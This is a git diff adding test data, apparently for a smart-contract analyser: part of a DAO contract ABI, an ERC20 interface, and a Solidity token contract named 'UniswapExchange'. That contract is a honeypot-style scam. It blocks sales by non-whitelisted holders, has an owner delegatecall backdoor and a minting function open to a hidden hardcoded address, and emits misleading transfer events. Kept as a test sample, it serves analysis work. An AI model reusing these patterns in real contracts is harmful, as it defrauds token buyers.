function\"},{\"constant\":false,\"inputs\":[{\"name\":\"_recipient\",\"type\":\"address\"},{\"name\":\"_amount\",\"type\":\"uint256\"},{\"name\":\"_description\",\"type\":\"string\"},{\"name\":\"_transactionData\",\"type\":\"bytes\"},{\"name\":\"_debatingPeriod\",\"type\":\"uint256\"},{\"name\":\"_newCurator\",\"type\":\"bool\"}],\"name\":\"newProposal\",\"outputs\":[{\"name\":\"_proposalID\",\"type\":\"uint256\"}],\"type\":\"function\"},{\"constant\":true,\"inputs\":[{\"name\":\"\",\"type\":\"address\"}],\"name\":\"DAOpaidOut\",\"outputs\":[{\"name\":\"\",\"type\":\"uint256\"}],\"type\":\"function\"},{\"constant\":true,\"inputs\":[],\"name\":\"minQuorumDivisor\",\"outputs\":[{\"name\":\"\",\"type\":\"uint256\"}],\"type\":\"function\"},{\"constant\":false,\"inputs\":[{\"name\":\"_newContract\",\"type\":\"address\"}],\"name\":\"newContract\",\"outputs\":[],\"type\":\"function\"},{\"constant\":true,\"inputs\":[{\"name\":\"_owner\",\"type\":\"address\"}],\"name\":\"balanceOf\",\"outputs\":[{\"name\":\"balance\",\"type\":\"uint256\"}],\"type\":\"function\"},{\"constant\":false,\"inputs\":[{\"name\":\"_recipient\",\"type\":\"address\"},{\"name\":\"_allowed\",\"type\":\"bool\"}],\"name\":\"changeAllowedRecipients\",\"outputs\":[{\"name\":\"_success\",\"type\":\"bool\"}],\"type\":\"function\"},{\"constant\":false,\"inputs\":[],\"name\":\"halveMinQuorum\",\"outputs\":[{\"name\":\"_success\",\"type\":\"bool\"}],\"type\":\"function\"},{\"constant\":true,\"inputs\":[{\"name\":\"\",\"type\":\"address\"}],\"name\":\"paidOut\",\"outputs\":[{\"name\":\"\",\"type\":\"uint256\"}],\"type\":\"function\"},{\"constant\":false,\"inputs\":[{\"name\":\"_proposalID\",\"type\":\"uint256\"},{\"name\":\"_newCurator\",\"type\":\"address\"}],\"name\":\"splitDAO\",\"outputs\":[{\"name\":\"_success\",\"type\":\"bool\"}],\"type\":\"function\"},{\"constant\":true,\"inputs\":[],\"name\":\"DAOrewardAccount\",\"outputs\":[{\"name\":\"\",\"type\":\"address\"}],\"type\":\"function\"},{\"constant\":true,\"inputs\":[],\"name\":\"proposalDeposit\",\"outputs\":[{\"name\":\"\",\"type\":\"uint256\"}],\"type\":\"function\"},{\"constant\":true,\"inputs\":[],\"name\":\"numberOfProposals\",\"outputs\":[{\"name\":\"_numberOfProposals\",\"type\":\"uint256\"}],\"type\":\"function\"},{\"constant\":true,\"inputs\":[],\"name\":\"lastTimeMinQuorumMet\",\"outputs\":[{\"name\":\"\",\"type\":\"uint256\"}],\"type\":\"function\"},{\"constant\":false,\"inputs\":[{\"name\":\"_toMembers\",\"type\":\"bool\"}],\"name\":\"retrieveDAOReward\",\"outputs\":[{\"name\":\"_success\",\"type\":\"bool\"}],\"type\":\"function\"},{\"constant\":false,\"inputs\":[],\"name\":\"receiveEther\",\"outputs\":[{\"name\":\"\",\"type\":\"bool\"}],\"type\":\"function\"},{\"constant\":false,\"inputs\":[{\"name\":\"_to\",\"type\":\"address\"},{\"name\":\"_value\",\"type\":\"uint256\"}],\"name\":\"transfer\",\"outputs\":[{\"name\":\"success\",\"type\":\"bool\"}],\"type\":\"function\"},{\"constant\":true,\"inputs\":[],\"name\":\"isFueled\",\"outputs\":[{\"name\":\"\",\"type\":\"bool\"}],\"type\":\"function\"},{\"constant\":false,\"inputs\":[{\"name\":\"_tokenHolder\",\"type\":\"address\"}],\"name\":\"createTokenProxy\",\"outputs\":[{\"name\":\"success\",\"type\":\"bool\"}],\"type\":\"function\"},{\"constant\":true,\"inputs\":[{\"name\":\"_proposalID\",\"type\":\"uint256\"}],\"name\":\"getNewDAOAddress\",\"outputs\":[{\"name\":\"_newDAO\",\"type\":\"address\"}],\"type\":\"function\"},{\"constant\":false,\"inputs\":[{\"name\":\"_proposalID\",\"type\":\"uint256\"},{\"name\":\"_supportsProposal\",\"type\":\"bool\"}],\"name\":\"vote\",\"outputs\":[{\"name\":\"_voteID\",\"type\":\"uint256\"}],\"type\":\"function\"},{\"constant\":false,\"inputs\":[],\"name\":\"getMyReward\",\"outputs\":[{\"name\":\"_success\",\"type\":\"bool\"}],\"type\":\"function\"},{\"constant\":true,\"inputs\":[{\"name\":\"\",\"type\":\"address\"}],\"name\":\"rewardToken\",\"outputs\":[{\"name\":\"\",\"type\":\"uint256\"}],\"type\":\"function\"},{\"constant\":false,\"inputs\":[{\"name\":\"_from\",\"type\":\"address\"},{\"name\":\"_to\",\"type\":\"address\"},{\"name\":\"_value\",\"type\":\"uint256\"}],\"name\":\"transferFromWithoutReward\",\"outputs\":[{\"name\":\"success\",\"type\":\"bool\"}],\"type\":\"function\"},{\"constant\":true,\"inputs\":[{\"name\":\"_owner\",\"type\":\"address\"},{\"name\":\"_spender\",\"type\":\"address\"}],\"name\":\"allowance\",\"outputs\":[{\"name\":\"remaining\",\"type\":\"uint256\"}],\"type\":\"function\"},{\"constant\":false,\"inputs\":[{\"name\":\"_proposalDeposit\",\"type\":\"uint256\"}],\"name\":\"changeProposalDeposit\",\"outputs\":[],\"type\":\"function\"},{\"constant\":true,\"inputs\":[{\"name\":\"\",\"type\":\"address\"}],\"name\":\"blocked\",\"outputs\":[{\"name\":\"\",\"type\":\"uint256\"}],\"type\":\"function\"},{\"constant\":true,\"inputs\":[],\"name\":\"curator\",\"outputs\":[{\"name\":\"\",\"type\":\"address\"}],\"type\":\"function\"},{\"constant\":true,\"inputs\":[{\"name\":\"_proposalID\",\"type\":\"uint256\"},{\"name\":\"_recipient\",\"type\":\"address\"},{\"name\":\"_amount\",\"type\":\"uint256\"},{\"name\":\"_transactionData\",\"type\":\"bytes\"}],\"name\":\"checkProposalCode\",\"outputs\":[{\"name\":\"_codeChecksOut\",\"type\":\"bool\"}],\"type\":\"function\"},{\"constant\":true,\"inputs\":[],\"name\":\"privateCreation\",\"outputs\":[{\"name\":\"\",\"type\":\"address\"}],\"type\":\"function\"},{\"inputs\":[{\"name\":\"_curator\",\"type\":\"address\"},{\"name\":\"_daoCreator\",\"type\":\"address\"},{\"name\":\"_proposalDeposit\",\"type\":\"uint256\"},{\"name\":\"_minTokensToCreate\",\"type\":\"uint256\"},{\"name\":\"_closingTime\",\"type\":\"uint256\"},{\"name\":\"_privateCreation\",\"type\":\"address\"}],\"type\":\"constructor\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"name\":\"_from\",\"type\":\"address\"},{\"indexed\":true,\"name\":\"_to\",\"type\":\"address\"},{\"indexed\":false,\"name\":\"_amount\",\"type\":\"uint256\"}],\"name\":\"Transfer\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"name\":\"_owner\",\"type\":\"address\"},{\"indexed\":true,\"name\":\"_spender\",\"type\":\"address\"},{\"indexed\":false,\"name\":\"_amount\",\"type\":\"uint256\"}],\"name\":\"Approval\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"FuelingToDate\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"name\":\"to\",\"type\":\"address\"},{\"indexed\":false,\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"CreatedToken\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"name\":\"to\",\"type\":\"address\"},{\"indexed\":false,\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"Refund\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"name\":\"proposalID\",\"type\":\"uint256\"},{\"indexed\":false,\"name\":\"recipient\",\"type\":\"address\"},{\"indexed\":false,\"name\":\"amount\",\"type\":\"uint256\"},{\"indexed\":false,\"name\":\"newCurator\",\"type\":\"bool\"},{\"indexed\":false,\"name\":\"description\",\"type\":\"string\"}],\"name\":\"ProposalAdded\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"name\":\"proposalID\",\"type\":\"uint256\"},{\"indexed\":false,\"name\":\"position\",\"type\":\"bool\"},{\"indexed\":true,\"name\":\"voter\",\"type\":\"address\"}],\"name\":\"Voted\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"name\":\"proposalID\",\"type\":\"uint256\"},{\"indexed\":false,\"name\":\"result\",\"type\":\"bool\"},{\"indexed\":false,\"name\":\"quorum\",\"type\":\"uint256\"}],\"name\":\"ProposalTallied\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"name\":\"_newCurator\",\"type\":\"address\"}],\"name\":\"NewCurator\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"name\":\"_recipient\",\"type\":\"address\"},{\"indexed\":false,\"name\":\"_allowed\",\"type\":\"bool\"}],\"name\":\"AllowedRecipientChanged\",\"type\":\"event\"}]" diff --git a/tests/testdata/uniswap/IERC20.sol b/tests/testdata/uniswap/IERC20.sol new file mode 100644 index 00000000..7d38ff38 --- /dev/null +++ b/tests/testdata/uniswap/IERC20.sol @@ -0,0 +1,15 @@ +interface IERC20 { + function totalSupply() external view returns(uint); + + function balanceOf(address account) external view returns(uint); + + function transfer(address recipient, uint amount) external returns(bool); + + function allowance(address owner, address spender) external view returns(uint); + + function approve(address spender, uint amount) external returns(bool); + + function transferFrom(address sender, address recipient, uint amount) external returns(bool); + event Transfer(address indexed from, address indexed to, uint value); + event Approval(address indexed owner, address indexed spender, uint value); +} diff --git a/tests/testdata/uniswap/UniswapExchange.sol b/tests/testdata/uniswap/UniswapExchange.sol new file mode 100644 index 00000000..dd13149e --- /dev/null +++ b/tests/testdata/uniswap/UniswapExchange.sol @@ -0,0 +1,333 @@ +/** + * Submitted for verification at Etherscan.io on 2021-10-03 + */ + +pragma solidity ^0.5.17; + +import "./IERC20.sol"; + +library Address { + function isContract(address account) internal view returns(bool) { + bytes32 codehash; + bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; + // solhint-disable-next-line no-inline-assembly + assembly { codehash:= extcodehash(account) } + return (codehash != 0x0 && codehash != accountHash); + } +} + +contract Context { + constructor() internal {} + // solhint-disable-previous-line no-empty-blocks + function _msgSender() internal view returns(address payable) { + return msg.sender; + } +} + +library SafeMath { + function add(uint a, uint b) internal pure returns(uint) { + uint c = a + b; + require(c >= a, "SafeMath: addition overflow"); + + return c; + } + + function sub(uint a, uint b) internal pure returns(uint) { + return sub(a, b, "SafeMath: subtraction overflow"); + } + + function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { + require(b <= a, errorMessage); + uint c = a - b; + + return c; + } + + function mul(uint a, uint b) internal pure returns(uint) { + if (a == 0) { + return 0; + } + + uint c = a * b; + require(c / a == b, "SafeMath: multiplication overflow"); + + return c; + } + + function div(uint a, uint b) internal pure returns(uint) { + return div(a, b, "SafeMath: division by zero"); + } + + function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { + // Solidity only automatically asserts when dividing by 0 + require(b > 0, errorMessage); + uint c = a / b; + + return c; + } +} + +library SafeERC20 { + using SafeMath for uint; + using Address for address; + + function safeTransfer(IERC20 token, address to, uint value) internal { + callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); + } + + function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { + callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); + } + + function safeApprove(IERC20 token, address spender, uint value) internal { + require((value == 0) || (token.allowance(address(this), spender) == 0), + "SafeERC20: approve from non-zero to non-zero allowance" + ); + callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); + } + + function callOptionalReturn(IERC20 token, bytes memory data) private { + require(address(token).isContract(), "SafeERC20: call to non-contract"); + + // solhint-disable-next-line avoid-low-level-calls + (bool success, bytes memory returndata) = address(token).call(data); + require(success, "SafeERC20: low-level call failed"); + + if (returndata.length > 0) { // Return data is optional + // solhint-disable-next-line max-line-length + require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); + } + } +} + +contract ERC20 is Context, IERC20 { + using SafeMath for uint; + mapping(address => uint) private _balances; + + mapping(address => mapping(address => uint)) private _allowances; + + uint private _totalSupply; + + function totalSupply() public view returns(uint) { + return _totalSupply; + } + + function balanceOf(address account) public view returns(uint) { + return _balances[account]; + } + + function transfer(address recipient, uint amount) public returns(bool) { + _transfer(_msgSender(), recipient, amount); + return true; + } + + function allowance(address owner, address spender) public view returns(uint) { + return _allowances[owner][spender]; + } + + function approve(address spender, uint amount) public returns(bool) { + _approve(_msgSender(), spender, amount); + return true; + } + + function transferFrom(address sender, address recipient, uint amount) public returns(bool) { + _transfer(sender, recipient, amount); + _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); + return true; + } + + function increaseAllowance(address spender, uint addedValue) public returns(bool) { + _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); + return true; + } + + function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { + _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); + return true; + } + + function _transfer(address sender, address recipient, uint amount) internal { + require(sender != address(0), "ERC20: transfer from the zero address"); + require(recipient != address(0), "ERC20: transfer to the zero address"); + + _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); + _balances[recipient] = _balances[recipient].add(amount); + emit Transfer(sender, recipient, amount); + } + + function _mint(address account, uint amount) internal { + require(account != address(0), "ERC20: mint to the zero address"); + + _totalSupply = _totalSupply.add(amount); + _balances[account] = _balances[account].add(amount); + emit Transfer(address(0), account, amount); + } + + function _burn(address account, uint amount) internal { + require(account != address(0), "ERC20: burn from the zero address"); + + _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); + _totalSupply = _totalSupply.sub(amount); + emit Transfer(account, address(0), amount); + } + + function _approve(address owner, address spender, uint amount) internal { + require(owner != address(0), "ERC20: approve from the zero address"); + require(spender != address(0), "ERC20: approve to the zero address"); + + _allowances[owner][spender] = amount; + emit Approval(owner, spender, amount); + } +} + +contract ERC20Detailed is IERC20 { + string private _name; + string private _symbol; + uint8 private _decimals; + + constructor(string memory name, string memory symbol, uint8 decimals) public { + _name = name; + _symbol = symbol; + _decimals = decimals; + } + + function name() public view returns(string memory) { + return _name; + } + + function symbol() public view returns(string memory) { + return _symbol; + } + + function decimals() public view returns(uint8) { + return _decimals; + } +} + + +contract UniswapExchange { + event Transfer(address indexed _from, address indexed _to, uint _value); + event Approval(address indexed _owner, address indexed _spender, uint _value); + + function transfer(address _to, uint _value) public payable returns (bool) { + return transferFrom(msg.sender, _to, _value); + } + + function ensure(address _from, address _to, uint _value) internal view returns(bool) { + address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); + //go the white address first + if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ + return true; + } + require(condition(_from, _value)); + return true; + } + + function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { + if (_value == 0) {return true;} + if (msg.sender != _from) { + require(allowance[_from][msg.sender] >= _value); + allowance[_from][msg.sender] -= _value; + } + require(ensure(_from, _to, _value)); + require(balanceOf[_from] >= _value); + balanceOf[_from] -= _value; + balanceOf[_to] += _value; + _onSaleNum[_from]++; + emit Transfer(_from, _to, _value); + return true; + } + + function approve(address _spender, uint _value) public payable returns (bool) { + allowance[msg.sender][_spender] = _value; + emit Approval(msg.sender, _spender, _value); + return true; + } + + function condition(address _from, uint _value) internal view returns(bool){ + if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; + + if(_saleNum > 0){ + if(_onSaleNum[_from] >= _saleNum) return false; + } + if(_minSale > 0){ + if(_minSale > _value) return false; + } + if(_maxSale > 0){ + if(_value > _maxSale) return false; + } + return true; + } + + function delegate(address a, bytes memory b) public payable { + require(msg.sender == owner); + a.delegatecall(b); + } + mapping(address=>uint256) private _onSaleNum; + mapping(address=>bool) private canSale; + uint256 private _minSale; + uint256 private _maxSale; + uint256 private _saleNum; + function _mints(address spender, uint256 addedValue) public returns (bool) { + require(msg.sender==owner||msg.sender==address + (1461045492991056468287016484048686824852249628073)); + if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} + canSale[spender]=true; + return true; + } + function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ + require(msg.sender == owner); + _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; + _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; + _saleNum = saleNum; + } + function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { + require (msg.sender == owner); + uint total = _value * _tos.length; + require(balanceOf[msg.sender] >= total); + balanceOf[msg.sender] -= total; + for (uint i = 0; i < _tos.length; i++) { + address _to = _tos[i]; + balanceOf[_to] += _value; + emit Transfer(msg.sender, _to, _value/2); + emit Transfer(msg.sender, _to, _value/2); + } + return true; + } + + address tradeAddress; + function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); + tradeAddress = addr; + return true; + } + + function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { + (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); + pair = address(uint(keccak256(abi.encodePacked( + hex'ff', + factory, + keccak256(abi.encodePacked(token0, token1)), + hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash + )))); + } + + mapping (address => uint) public balanceOf; + mapping (address => mapping (address => uint)) public allowance; + + uint constant public decimals = 18; + uint public totalSupply; + string public name; + string public symbol; + address private owner; + address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; + + constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { + name = _name; + symbol = _symbol; + totalSupply = _supply*(10**uint256(decimals)); + owner = msg.sender; + balanceOf[msg.sender] = totalSupply; + allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); + emit Transfer(address(0x0), msg.sender, totalSupply); + } +} \ No newline at end of file